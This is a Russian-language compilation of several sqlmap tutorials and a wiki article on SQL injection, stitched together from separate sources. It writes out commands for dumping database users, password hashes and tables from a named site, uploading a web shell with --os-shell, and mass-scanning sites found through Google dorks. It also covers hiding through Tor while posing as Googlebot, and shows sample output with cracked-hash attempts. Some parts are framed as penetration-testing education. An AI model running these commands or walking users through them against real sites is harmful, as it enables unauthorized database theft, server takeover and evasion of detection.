Вот так все легко и просто. Теперь давайте получим больше информации о системе и узнаем, какими же правами мы обладаем:
python sqlmap -u http://sitefortest.kz/index.php?id=17 --current-user --current-db -b --users --privileges --passwords
Так как мы уже нашли инъекцию, мы можем не указывать лишние параметры для их поиска, но такие, как юзерагент или данные для авторизации необходимо указывать при каждом запросе (ну или писать их в конфигурационном файле sqlmap.conf). Я же их опустил для простоты.
- —current-user — текущий пользователь, который работает с БД .
- —current-db — текущая база данных.
- -b — запрос на баннер.
- —users — список всех пользователей БД (при условии, что у нас есть права на его чтение)
- —priviliges — привилегии пользователей БД
- —password — хэши паролей пользователей БД
Вот такой ответ даст нам sqlmap:
[*] starting at: 04:37:39
— — [04:37:42] [INFO] fetching banner
banner: ‘5.1.49-1ubuntu8’
[04:37:42] [INFO] fetching current user
current user: ‘root@localhost’
[04:37:42] [INFO] fetching current database
current database: ‘online_test_ped’
[04:37:42] [INFO] fetching database users
database management system users [5]:
[*] ‘debian-sys-maint’@’localhost’,
[*] ‘root’@’127.0.0.1’
[*] ‘root’@’localhost’
[*] ‘root’@’sitefortest’
[*] ‘test’@’localhost’
/*Мы поулчили инфомрацию о текущей БД и пользователе, а также узнали всех
* доступных пользователей*/
[04:37:42] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
/*sqlmap обнаружил хэши и предлагает нам устроить перебор по словарю (y). Мы
* конечно же соглашаемся*/
[04:37:57] [INFO] using hash method: ‘mysql_passwd’
what’s the dictionary’s location? [/home/lirvux/work/hack/sqlmap/txt/wordl
[04:37:58] [INFO] loading dictionary from: ‘/home/lirvux/work/hack/sqlmap/txt/wordl
do you want to use common password suffixes? (slow!) [y/N] y
[04:38:08] [INFO] starting dictionary attack (mysql_passwd)
[04:39:50] [WARNING] no clear password(s) found
/*Sqlmap определил, что пароли зашифрованы методом mysql_passwd и предложил
* выбрать словарь для перебора. Мы выбрали дефолтный, но, к сожалению, ничего не
* подобрали*/
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *991A58143C8199F3CB137310E29F3AAB5720369
[*] root [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBF
[*] test [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBF
[04:39:50] [INFO] fetching database users privileges
database management system users privileges:
[*] ‘debian-sys-maint’@’localhost’ (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
— — privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
/*И наконец мы получили список привелегий всех пользователей. Я его обрезал, так
* как он слишком длинный*/
Неплохо! Теперь попробуем просмотреть содержимое какой-нибудь БД. Для этого пригодятся следующие параметры:
- —dbs — Покажет список всех БД.
- —tables — Список всех таблиц во всех БД.
- -D NAME_DB —tables — отобразит список таблиц внутри базы данных NAME_DB.
- -D NAME_DB -T NAME_TABLE —columns — покажет нам список колонок таблицы NAME_TABLE из БД NAME_DB.
- —dump — Сделать дамп содержимого указанной таблицы или БД.
- —dump-all — Сделает дамп всех БД и их таблиц. Может занять очень много времени.
- —exclude-sysdbs — Указывает не выполнять дамп системных таблиц (information_schema и т.п.).
- —start=LIMITSTART и —stop=LIMITSOP действуют аналогично LIMIT LIMITSTART,LIMITSTOP в mysql. Они позволяют сделать дамп не всей таблицы, а определенной части. Правда здесь отсчет начинается не с 0, а с 1.
Пример:python sqlmap http://sitefortest.kz/index.php?id=17 --dump -D site -T users --start=5 --stop=10
Таким образом, в файле output/sutefortest.kz/dump/site.users будет находиться дамп таблицы пользователей, начиная с 5 строчки и заканчивая 10. Ну и конечно же, дамп будет выведен в терминал. Если в каком-либо поле встретится хэш, то sqlmap, как обычно, предложит нам провести атаку по словарю.
Повышение контроля
Параметры, которые позволят нам скачивать и заливать файлы:
- —file-read=»/FULL/PATH/FILE» — если у вас хватит привелегий, а пользователю, от которого запущен демон БД разрешено чтение этого файла, то вы сможете найти выкачанный файл здесь — output/sitefortest.kz/files/_FULL_PATH_FILE.
- —-file-write=»/LOCAL/PATH/MYFILE» —file-dist=»/REMOTE/PATH/SHELL» — При наличии соответствующих прав, файл /LOCAL/PATH/MYFILE (который находится на нашем компьютере) будет залит в удаленный каталог сервера /REMOTE/PATH/ и будет называться SHELL.
Если нашей целью является залить простенький веб шел, то нам даже не надо указывать файлы, а достаточно указать параметр —os-shell, который все сделает за нас.
Массовые инъекции через гугл (Google Dork)
Sqlmap позволяет нам тестировать сайты, прямо из поисковой выдачи гугла.
Например, вот так:
python sqlmap -g "inurl:?lesson=1" --beep --page-rank --gpage=10 --random-agent
- -g «inurl:?lesson=1» — Задает поисковой запрос для гугла, по которому мы будем искать сайты с потенциальными уязвимостями.
- —beep — заставит sqlmap уведомлять нас с помощью спикера о каждой найденной уязвимости.
- —page-rank — Выведет Page Rank страницы, которую мы тестируем. Это может пригодиться для не очень хороших делишек.
- —gpage=10 — указываем с какой страницы поисковой выдачи брать сайты. По умолчанию парсится 1 страница.
- —random-agent — в данном случае является обязательным параметром, так как без него гугл не пустит нас к поиску, поняв, что его производит не человек, а sqlmap.
На этом я закончу. Надеюсь, данная статья поможет вам поближе познакомиться с этой великолепной программой и облегчит ее дальнейшее изучение. Главное не стоит забывать, что наличие инструмента — это не главное. Очень важно понимать, как работает инструмент и использовать его лишь в качестве автоматизации рутины, а не в качестве замены собственного ума.
SQLMap с Tor для анонимности — Information Security Squad
В предыдущем уроке я продемонстрировал, как использовать SqlMap для выполнения Sql Injection на веб-сайте.
В этом уроке я покажу вам, как использовать Tor для добавления слоя неясности между вами и целевым веб-сайтом.
Установка Tor
Установить Tor в Kali Linux так же просто, как набирать одну строку в терминале,
apt-get instal tor
Если у вас возникли проблемы с установкой, сначала сделайте обновление системы :
apt-get update
Запустить Tor
Это также довольно просто
tor
Root@kali: Sep 04 02:41:25.806 [notice] Tor v0.2.8.7 (git-cc2f02ef17899f86) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2h and Zlib 1.2.8. Sep 04 02:41:25.806 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Sep 04 02:41:25.806 [notice] Read configuration file "/etc/tor/torrc". Sep 04 02:41:25.811 [notice] Opening Socks listener on 127.0.0.1:9050 Sep 04 02:41:25.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip. Sep 04 02:41:25.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6. Sep 04 02:41:26.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't. Sep 04 02:41:26.000 [notice] Bootstrapped 0%: Starting Sep 04 02:41:27.000 [notice] Bootstrapped 5%: Connecting to directory server Sep 04 02:41:27.000 [notice] Bootstrapped 10%: Finishing handshake with directory server Sep 04 02:41:27.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection Sep 04 02:41:27.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus Sep 04 02:41:28.000 [notice] Bootstrapped 25%: Loading networkstatus consensus Sep 04 02:41:29.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. Sep 04 02:41:30.000 [notice] Bootstrapped 40%: Loading authority key certs Sep 04 02:41:30.000 [notice] Bootstrapped 45%: Asking for relay descriptors Sep 04 02:41:30.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/7117, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) Sep 04 02:41:31.000 [notice] Bootstrapped 50%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 55%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 61%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 66%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 73%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 78%: Loading relay descriptors Sep 04 02:41:35.000 [notice] Bootstrapped 80%: Connecting to the Tor network Sep 04 02:41:36.000 [notice] Bootstrapped 90%: Establishing a Tor circuit Sep 04 02:41:38.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. Sep 04 02:41:38.000 [notice] Bootstrapped 100%: Done
Важно: Не закрывайте этот терминал. Откройте новый терминал для дальнейших шагов.
Тестирование с помощью Sqlmap
Выполните команду:
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 --tor --tor-type=SOCKS5
Если вам нужна текстовая версия: —
_ ___ ___| |_____ ___ ___ {1.0.8.2#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 02:47:02 [02:47:02] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided [02:47:02] [INFO] setting Tor SOCKS proxy settings [02:47:02] [INFO] testing connection to the target URL [02:47:03] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [02:47:04] [INFO] testing if the target URL is stable [02:47:06] [INFO] target URL is stable [02:47:06] [INFO] testing if GET parameter 'cat' is dynamic [02:47:07] [INFO] confirming that GET parameter 'cat' is dynamic
Дополнительная скрытность
Сканеры Google часто посещают веб-сайты и являются одним из наименее подозрительных объектов в журналах веб-сайта.
Мы можем использовать это в наших интересах.
Используйте эту команду, чтобы притворяться googleBot.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 --tor --tor-type=SOCKS5 --user-agent="Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Это то, что вы увидите.
На данный момент вы будете выглядеть как бот Google, и ваш IP-адрес будет иметь некоторый узел выхода Tor.
Этого должно быть достаточно для большинства целей.
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Sqlmap — Национальная библиотека им. Н. Э. Баумана
Материал из Национальной библиотеки им. Н. Э. Баумана
Последнее изменение этой страницы: 11:02, 21 июня 2020.
SQLMap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекций и захват серверов баз данных. Он поставляется с мощным движком выявления и многими нишевыми функциями для тестирований на проникновения, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученным от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.[1]
Описание
Что такое SQLMap? Одна из мощнейших открытых утилит для тестирования на проникновение, которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью извлечения данных или захвата удаленного хоста. Что делает SQLMap отличным от других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать каждую найденную уязвимость. Это означает, что SQLMap способен не только находить, но и реализовать эту уязвимость. Любая потенциальная уязвимость дополнительно проверяется на возможность эксплуатации. Сканер из коробки идет с огромным функционалом, начиная от возможности определения системы управления базой данных (далее DBMS), создания дампа (копии) данных и заканчивая получением доступа к системе с возможностью обращаться к произвольным файлам на хосте и выполнять на сервере произвольные команды. И все-таки главное — это обнаружение возможности сделать инъекцию SQL-кода.
SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода путем простой конкантенации. В случае успеха атакующий может изменить логику выполнения SQL-запроса так, как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а также извлекает таблицы с наиболее «интересными» именами (например «users»).
История
Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm), профессиональный разработчик из Хорватии, и Бернардо Дамеле (@inquisb), консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании. Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу включились Мирослав и Бернардо.
Какие уязвимости может находить sqlmap
Есть пять основных классов SQL-инъекций, и все их поддерживает SQLMap: [2]
- UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с «UNION ALL SELECT». Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. SQLMap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
- Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то «рядом» вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
- Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
- Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в «чистом» виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. SQLMap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения «true»-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в SQLMap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
- Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер «играет» с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.
Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать SQLMap и на данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.
Возможности SQLMap
Движок для определения SQL-уязвимостей — пускай и самая важная, но все-таки не единственная часть функционала SQLMap. В функционал SQLMap входит следующее:
- Извлечение имен пользователей, хешей их паролей, а также привилегий и полей.
- Автоматическое распознавание типа используемого хеша и возможность взлома его с помощью брутфорса по словарю.
- Получение списка баз данных, таблиц и столбцов.
- Возможность сделать полный или частичный дамп базы данных.
- Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам сразу), что может быть полезно для определения таблиц с «интересными» данными вроде имен пользователей (users) или паролей (pass).
- Загрузка или, наоборот, закачка произвольных файлов на сервер, если уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL Server.
- Выполнение произвольных команд и получение шелла, если на хосте используется одна из СУБД, перечисленных в предыдущем пункте.
- Поддержка прямого подключения к базе данных (без явного использования SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы данных.
- Установка надежного TCP-соединения (так называемого out-ofband) между машиной пентестера и хостом, на котором запущен сервер баз данных. В качестве обертки для этого канала может стать интерактивная командная строка (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через VNC-подключение.
- Повышение привилегий для процесса базы данных через команду getsystem Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d (MS10-015).
Достоинства и недостатки
Достоинства
В сравнении с другими сканерами, SQLMap находит больше уязвимостей. Процент ложных обнаружений почти нулевой[3]
Недостатки
- Работает дольше чем другие сканеры
- Не позволяет найти не SQL уязвимости, такие как XSS, CSRF, Sensitive Data Exposure
Установка
Для установки нужно склонировать репозиторий:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Использование
Далее приведет список опций, которые используются при запуске сканирования.
python sqlmap.py -h, --help Показать базовую справку и выйте -hh Показать продвинутую справку и выйти --version Показать номер версии программы и выйти -v VERBOSE Уровень вербальности: 0-6 (по умолчанию 1)
Цель
При запуске, должна быть указана одна из следующих опций для определения цели
-d DIRECT Строка подключения для прямого соединения с базой данных -u URL, --url=URL Целевой URL (например, "http://www.site.com/vuln.php?id=1") -l LOGFILE Парсить цель(и) из файлов логов Burp или WebScarab -x SITEMAPURL Парсить цель(и) из удалённого файла sitemap(.xml) -m BULKFILE Сканировать множество целей, заданных в текстовом файле -r REQUESTFILE Загрузить HTTP запросы из файла -g GOOGLEDORK Обработать результаты дорков Google как целевых URL -c CONFIGFILE Загрузить опции из конфигурационного файла INI
Определение типа подключения
Так же можно использовать опции для определения типа подключения к целевому URL
--method=МЕТОД Принудительно использовать заданный HTTP метод (например, PUT) --data=ДАННЫЕ Строка данных для отправки через POST --param-del=РАЗД_ПАР Символ, используемый для разделения величин параметров --cookie=КУКИ Значение заголовка HTTP куки --cookie-del=РАЗДЕЛИТЕЛЬ_КУКИ Символ, используемый для разделения величин куки --load-cookies=ФАЙЛ_ДЛЯ_ЗАГРУЗКИ Файл, содержащий куки в формате Netscape/wget --drop-set-cookie Игнорировать заголовок Set-Cookie из ответа --user-agent=AGENT Значение заголовка HTTP User-Agent --random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent --host=ХОСТ Значение заголовка хоста HTTP --referer=РЕФЕРЕР Значение заголовка HTTP Referer -H ЗАГОЛОВОК, --header Дополнительный заголовок (к примеру, "X-Forwarded-For: 127.0.0.1") --headers=ЗАГОЛОВКИ Дополнительные заголовки (к примеру, "Accept-Language: fr\nETag: 123") --auth-type=ТИП_АУТ HTTP тип аутентификации (Basic, Digest, NTLM или PKI) --auth-cred=ДАННЫЕ_АУТ учётные данные HTTP аутентификации (имя:пароль) --auth-file=ФАЙЛ_АУТ файл HTTP аутентификации PEM сертификат/частный ключ --ignore-401 Игнорировать ошибку HTTP 401 (Unauthorized) (Неавторизован) --ignore-proxy Игнорировать дефолтные системные настройки прокси --ignore-redirects Игнорировать попытки редиректа --ignore-timeouts Игнорировать таймауты соединений --proxy=ПРОКСИ Использовать прокси для подключения к целевому URL --proxy-cred=УЧЁТКА_ПРОКСИ Учётные данные аутентификации прокси (имя:пароль) --proxy-file=ФАЙЛ_ПРОКСИ Загрузить список прокси из файла --tor Использовать анонимную сеть Tor --tor-port=TORPORT Установить порт прокси Tor отличный от дефолтного --tor-type=TORTYPE Установить тип прокси Tor (HTTP (по умолчанию), SOCKS4 или SOCKS5) --check-tor Проверить, используется ли Tor должным образом --delay=ЗАДЕРЖКА Задержка в секундах между каждым HTTP запросом --timeout=ТАЙМАУТ Секунды для ожидания перед таймаутом соединения (по умолчанию 30) --retries=ПОПЫТКИ Попытки при таймаутах соединения (по умолчанию 3) --randomize=ПАРАМЕТРЫ Случайно менять значения данного параметра(ов) --safe-url=БЕЗОПАСНЫЙ_EURL URL адрес для частого посещения во время тестирования --safe-post=POST Данные POST для отправки на безопасный URL --safe-req=БЕЗОПАСНЫЙ_ФАЙЛ Load safe HTTP request from a file --safe-freq=КОЛИЧЕСТВО Тестовые запросы между двумя визитами на заданный безопасный URL --skip-urlencode Пропустить URL кодирование данных для запросов --csrf-token=CSR.. Параметр используемый для удержания токена anti-CSRF --csrf-url=CSRFURL URL адрес для посещения для извлечения токена anti-CSRF --force-ssl Принудительное использование SSL/HTTPS --hpp Использовать метод загрязнения параметра HTTP --eval=EVALCODE Выполнить данный код Python перед запросом (например, "import hashlib;id2=hashlib.md5(id).hexdigest()")
Оптимизация
SQLMap поддерживает оптимизацию работы программы
-o Отключить все переключатели оптимизации --predict-output Прогнозировать общий вывод запросов --keep-alive Использовать постоянные соединения HTTP(s) --null-connection Получить длину страницу без фактического тела ответа HTTP --threads=ПОТОКИ Максимальное количество одновременных HTTP(s) запросов (по умолчанию 1)
Эксплуатация уязвимостей
SQLMap поддерживает гибкую настройку эксплуатации уязвимостей, опции могут использоваться для определения, какой параметр тестировать, обеспечивать пользовательскую инъекционную нагрузку и дополнительные скрипты
-p TESTPARAMETER Тестируемый параметр(ы) --skip=SKIP Пропустить тестирования данного параметра(ов) --skip-static Пропустить тестирование параметров, которые не кажутся динамическими --param-exclude=.. Регулярное выражение для исключения параметров из тестирования (например, "ses") --dbms=DBMS Принудительно указать СУБД --dbms-cred=DBMS.. Данные аутентификации СУБД (пользователь:пароль) --os=OS Принудительно указать операционную систему СУБД --invalid-bignum Использовать большие числа для недействительных значений --invalid-logical Использовать логические операции для недействительных значений --invalid-string Использовать случайные строки для недействительных значений --no-cast Отключить механизм отбора полезной нагрузки --no-escape Отключить механизм экранирования строк --prefix=PREFIX Предваряющая строка инъекционного запроса --suffix=SUFFIX Завершающая строка инъекционного запроса --tamper=TAMPER Использовать данный скрипт(ы) для обфускации инъекционных данных
Так же SQLMap предоставляет гибкую настройку фазы выявления и использование настроек тестирования отдельных техник SQL-инъекциий
--level=УРОВЕНЬ Уровень выполнения тестирования (1-5, по умолчанию 1) --risk=РИСК Риск выполняемого тестирования (1-3, по умолчанию 1) --string=СТРОКА Строка, когда запрос выполнен в True (Истина) --not-string=НЕ_ИСТИНА Строка, когда запрос выполнен в False (Ложь) --regexp=РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ Регулярное выражение, когда запрос выполнен в True (Истина) --code=КОД HTTP код, когда запрос выполнен в True (Истина) --text-only Сравнить страницы основываясь только на текстовом содержимом --titles Сравнить страницы основываясь только на их заголовках --technique=ТЕХНИКА Техники SQL инъекций для использования (по умолчанию "BEUSTQ") --time-sec=TIMESEC Секунды для задержки ответа СУБД (по умолчанию 5) --union-cols=UCOLS Диапазон колонок для тестирования с запросами UNION SQL инъекций --union-char=UCHAR Символ для использования при брутфорсинге количества колонок --union-from=UFROM Таблица для использования в FROM части UNION запроса SQL инъекции --dns-domain=ДОМЕН Доменное имя, используемое для эксфильтрационной атаки DNS --second-order=СТРОКА В результате по URL ищется ответ второго порядка -f, --fingerprint Выполняет обширную сверку версии СУБД
SQLMap предоставляет возможность использования для перечисления информации системы управления базами данных, структуры содержащихся в таблицах данных. Более того, вы можете запустить ваши собственные SQL выражения
-a, --all Получить всё -b, --banner Получить банер СУБД --current-user Получить текущего пользователя СУБД --current-db Получить текущую базу данных СУБД --hostname Получить имя хоста сервера СУБД --is-dba Определить, является ли текущий пользователь администратором СУБД --users Перечислить пользователей СУБД --passwords Перечислить хеши паролей пользователей СУБД --privileges Перечислить пользовательские привилегии СУБД --roles Перечислить пользовательские роли СУБД --dbs Перечислить базы данных СУБД --tables Перечислить таблицы базы данных СУБД --columns Перечислить колонки таблицы СУБД --schema Перечислить схему СУБД --count Перечислить количество записей для таблицы(таблиц) --dump Сдампить записи таблицы базы данных СУБД --dump-all Сдампить все записи таблиц базы данных СУБД --search Поиск колонки(ок), таблиц(ы) и/или имени(имён) базы данных --comments Получить комментарии СУБД -D БД БД СУБД для перечисления -T ТБЛ Таблица(ы) БД СУБД для перечисления -C КОЛ Колонка(и) таблицы БД СУБД для перечисления -X ПРОПУСТИТЬКОЛ Колонка(и) БД СУБД для не перечисления -U ПОЛЬЗОВАТЕЛЬ Пользователи СУБД для перечисления --exclude-sysdbs Пробустить системные БД СУБД при перечислении таблиц --pivot-column=P.. Имя стержневой (Pivot) колонки --where=DUMPWHERE Использовать условие WHERE при дампинге таблиц --start=LIMITSTART Первая выходная запись запроса для получения --stop=LIMITSTOP Последняя выходная запись запроса для получения --first=FIRSTCHAR Первый символ выходного слова запроса для получения --last=LASTCHAR Последний символ выходного слова запроса для получения --sql-query=QUERY SQL выражение для исполнения --sql-shell Приглашение интерактивного SQL шелла --sql-file=SQLFILE Выполнить SQL выражение из данного файла(ов) --common-tables Проверить наличие распространённых таблиц --common-columns Проверить наличие распространённых колонок --udf-inject Вставка предопределённых пользователем функций --shared-lib=SHLIB Локальный путь до общей библиотеки
Так же с помощью SQLMap можно получить доступ к файловой системе, операционной системы и регистру Windows СУБД
--file-read=RFILE Прочитать файл из файловой системы СУБД --file-write=WFILE Записать локальный файл в файловую систему СУБД --file-dest=DFILE Абсолютный путь для записи файла в СУБД --os-cmd=OSCMD Выполнить команду ОС --os-shell Приглашение интерактивного шелла ОС --os-pwn Прриглашение для внеполосного шелла, Meterpreter или VNC --os-smbrelay Однокликовое приглашение для внеполосного шелла, Meterpreter или VNC --os-bof Эксплуатация переполнения буфера хранимой процедуры --priv-esc Повышение пользовательских привилегий процесса БД --msf-path=MSFPATH Локальный путь где установлен Metasploit Framework --tmp-path=TMPPATH Удалённый абсолютный путь директории временных файлов --reg-read Прочитать значение ключа регистра Windows --reg-add Записать значение ключа регистра Windows --reg-del Удалить значение ключа регистра Windows --reg-key=REGKEY Ключ регистра Windows --reg-value=REGVAL Значение ключа регистра Windows --reg-data=REGDATA Данные значения ключа регистра Windows --reg-type=REGTYPE Тип значения ключа регистра Windows
Запись отчетов и общие настройки
Настройки записи отчетов определяется следующими опциями
-s SESSIONFILE Загрузить сессию из сохранённого файла (.sqlite) -t TRAFFICFILE Записать весь HTTP трафик в текстовый файл --batch Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию --binary-fields=.. Поля результатов имеют двоичные значения (например, "digest") --charset=CHARSET Принудительная кодировка символов, используемых для получения данных --check-internet Проверить Интернет-соединение перед оценкой цели --crawl=CRAWLDEPTH Ползать по веб-сайту начиная с заданного URL --crawl-exclude=РЕГВЫРАЖЕНИЕ Регулярное выражение для исключения страниц для ползания (например, "logout") --csv-del=CSVDEL Символ разделителя, используемый в выводе CSV (по умолчанию ",") --dump-format=ДАМПФОРМАТ Формат сдампленных данных (CSV (по умолчанию), HTML или SQLITE) --eta Отобразить для каждого вывода приблизительное время прибытия --flush-session Стереть сессионные файлы для текущей цели --forms Парсить и тестировать формы на целевой URL --fresh-queries Игнорировать результаты запросов, сохранённые в сессионном файле --hex Использовать шестнадцатеричную функцию(ии) СУБД для получения данных --output-dir=OUT.. Пользовательский путь директории вывода --parse-errors Парсить и отображать сообщения ошибок СУБД из ответов --save=SAVECONFIG Сохранить опции в конфигурационный INI файл --scope=SCOPE Регулярное выражение для фильтрации целей из лога proxy --test-filter=TE.. Выбрать тесты по полезной нагрузке и/или названиям (например, ROW) --test-skip=TEST.. Пропустить тесты по полезной нагрузке и/или названиям (например, BENCHMARK) --update Обновить sqlmap -z MNEMONICS Использовать короткие мнемоники (например, "flu,bat,ban,tec=EU") --alert=ALERT Запустить команду(ы) ОС, когда найдена SQL инъекция --answers=ANSWERS Установить ответ на вопрос (например "quit=N,follow=N") --beep Сигнал на вопрос и/или когда найдена SQL инъекция --cleanup Очистить СУБД от специфичных для sqlmap пользовательских функций и таблиц --dependencies Проверить на отсутствующие (неосновные) зависимости sqlmap --disable-coloring Отключить раскрашивание вывода в консоли --gpage=GOOGLEPAGE Использовать результаты дорка Google с указанного номера страницы --identify-waf Провести тщательное тестирование на WAF/IPS/IDS защиту --list-tampers Вывести список доступных скриптов tamper --mobile Имитировать смартфон через заголовок HTTP User-Agent --offline Работать в оффлайн режиме (использовать только данные сессии) --purge-output Безопасно удалить всё содержимое из директории вывода --skip-waf Пропустить эвристическое обнаружение WAF/IPS/IDS защиты --smart Провести тщательные тесты только если эвристика дала положительные результаты --sqlmap-shell Запрос интерактивного шелла sqlmap --tmp-dir=TMPDIR Локальная директория для сохранения временных файлов --web-root=WEBROOT Корневая директория веб-сервера (например, "/var/www") --wizard Простой интерфейс мастера для начинающих пользователей
Источники
Учебное пособие по SQLmap
Запустить sqlmap самостоятельно не сложно.
Этот учебник перенесет вас от новичка к ниндзя с помощью этого мощного инструмента тестирования SQL-инъекций.
Sqlmap — это инструмент на основе Python, а это означает, что он обычно работает в любой системе с Python. Однако нам нравится Linux и, в частности, Ubuntu, он просто упрощает работу. Python уже установлен в Ubuntu. Это тот же инструмент, который мы используем на нашем онлайн-тестовом сайте sql-инъекций.
Чтобы начать работу с sqlmap, достаточно загрузить инструмент, распаковать его и запустить команду с необходимыми параметрами. Поскольку среди вас могут быть пользователи Windows, я сначала начну с того, как установить и запустить Ubuntu. Начать работу в системе Ubuntu Linux легко, даже если мысль о Linux вызывает дрожь от страха. Кто знает, может, она вам даже понравится.
Установить SQLmap
Шаг 1. Получите операционную систему на базе Linux
Если вы собираетесь запускать SQLmap в Windows с Python, убедитесь, что у вас установлен Python, и переходите к следующему шагу.В противном случае запустите свою систему Linux. Либо установите виртуальную машину Linux (рекомендуется Ubuntu или Kali) в Windows (Virtualbox / VMware / Parrallels), либо загрузите свой рабочий стол Linux.
Если вы используете Microsoft Windows в качестве основной операционной системы, удобно и просто запустить установку Ubuntu Linux (или Kali Linux) на виртуальной машине. Затем вы можете поиграть с sqlmap, nmap, nikto и openvas вместе с сотней других мощных инструментов безопасности с открытым исходным кодом.
Шаг 2: Установка SQLmap
Python предустановлен в Ubuntu, поэтому все, что вам нужно сделать, это клонировать последний репозиторий из git и начать тестирование.
